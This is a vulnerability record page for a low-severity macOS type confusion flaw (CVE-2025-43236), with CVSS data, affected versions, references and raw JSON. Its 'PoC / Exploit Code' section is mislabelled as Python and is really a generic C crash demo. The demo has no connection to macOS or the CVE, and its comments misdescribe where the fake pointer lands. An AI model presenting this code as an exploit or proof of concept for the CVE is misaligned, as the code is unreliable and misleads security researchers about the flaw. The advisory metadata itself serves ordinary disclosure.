Security Vulnerability Report
中文
CVE-2025-43236 CVSS 3.3 LOW

CVE-2025-43236

Published: 2026-04-02 19:20:11
Last Modified: 2026-04-03 17:58:16

Description

A type confusion issue was addressed with improved memory handling. This issue is fixed in macOS Sequoia 15.6, macOS Sonoma 14.7.7, macOS Ventura 13.7.7. An attacker may be able to cause unexpected app termination.

CVSS Details

CVSS Score
3.3
Severity
LOW
CVSS Vector
CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:L

Configurations (Affected Products)

cpe:2.3:o:apple:macos:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:o:apple:macos:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:o:apple:macos:*:*:*:*:*:*:*:* - VULNERABLE
macOS Sequoia < 15.6
macOS Sonoma < 14.7.7
macOS Ventura < 13.7.7

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
/* * Conceptual Proof of Concept for CVE-2025-43236 (Type Confusion) * This code simulates the logic of a type confusion vulnerability leading to a crash. * Compile: gcc -o poc_cve202543236 poc_cve202543236.c */ #include <stdio.h> #include <stdlib.h> #include <string.h> // Structure representing Type A typedef struct { int id; void (*func_ptr)(void); } TypeA; // Structure representing Type B (different memory layout) typedef struct { int id; char data[32]; } TypeB; // Vulnerable function: assumes input is always TypeA void vulnerable_function(TypeA* obj) { printf("Object ID: %d\n", obj->id); // Triggering the vulnerability: calling a function pointer from TypeA // If the object is actually TypeB, data[0-3] (int) + data[4-7] (part of string) // might be interpreted as a function pointer, causing a segfault. printf("Executing function pointer...\n"); obj->func_ptr(); } void legitimate_callback() { printf("Callback executed successfully.\n"); } int main() { // Allocate memory for TypeB TypeB* malicious_obj = (TypeB*)malloc(sizeof(TypeB)); // Initialize TypeB malicious_obj->id = 1; // Fill data with garbage or specific bytes to mimic a corrupted function pointer memset(malicious_obj->data, 0x41, 32); // Set a fake address at the offset where func_ptr would be in TypeA *(unsigned long*)((char*)malicious_obj + sizeof(int)) = 0xDEADBEEF; printf("Attempting to trigger Type Confusion...\n"); // Cast TypeB to TypeA and pass to vulnerable function // This simulates the lack of type checking in the vulnerable component vulnerable_function((TypeA*)malicious_obj); free(malicious_obj); return 0; }

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-43236", "sourceIdentifier": "[email protected]", "published": "2026-04-02T19:20:10.587", "lastModified": "2026-04-03T17:58:15.627", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "A type confusion issue was addressed with improved memory handling. This issue is fixed in macOS Sequoia 15.6, macOS Sonoma 14.7.7, macOS Ventura 13.7.7. An attacker may be able to cause unexpected app termination."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:L", "baseScore": 3.3, "baseSeverity": "LOW", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "LOW"}, "exploitabilityScore": 1.8, "impactScore": 1.4}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-843"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:apple:macos:*:*:*:*:*:*:*:*", "versionStartIncluding": "13.0", "versionEndExcluding": "13.7.7", "matchCriteriaId": "038B07DF-897A-4651-9B8F-2CE40307BE31"}, {"vulnerable": true, "criteria": "cpe:2.3:o:apple:macos:*:*:*:*:*:*:*:*", "versionStartIncluding": "14.0", "versionEndExcluding": "14.7.7", "matchCriteriaId": "4F043DE0-C517-463D-9693-53789EB6132D"}, {"vulnerable": true, "criteria": "cpe:2.3:o:apple:macos:*:*:*:*:*:*:*:*", "versionStartIncluding": "15.0", "versionEndExcluding": "15.6", "matchCriteriaId": "4CF17CE2-DB4B-48D1-81AF-67EF1EC7BB45"}]}]}], "references": [{"url": "https://support.apple.com/en-us/124149", "source": "[email protected]", "tags": ["Release Notes", "Vendor Advisory"]}, {"url": "https://support.apple.com/en-us/124150", "source": "[email protected]", "tags": ["Release Notes", "Vendor Advisory"]}, {"url": "https://support.apple.com/en-us/124151", "source": "[email protected]", "tags": ["Release Notes", "Vendor Advisory"]}]}}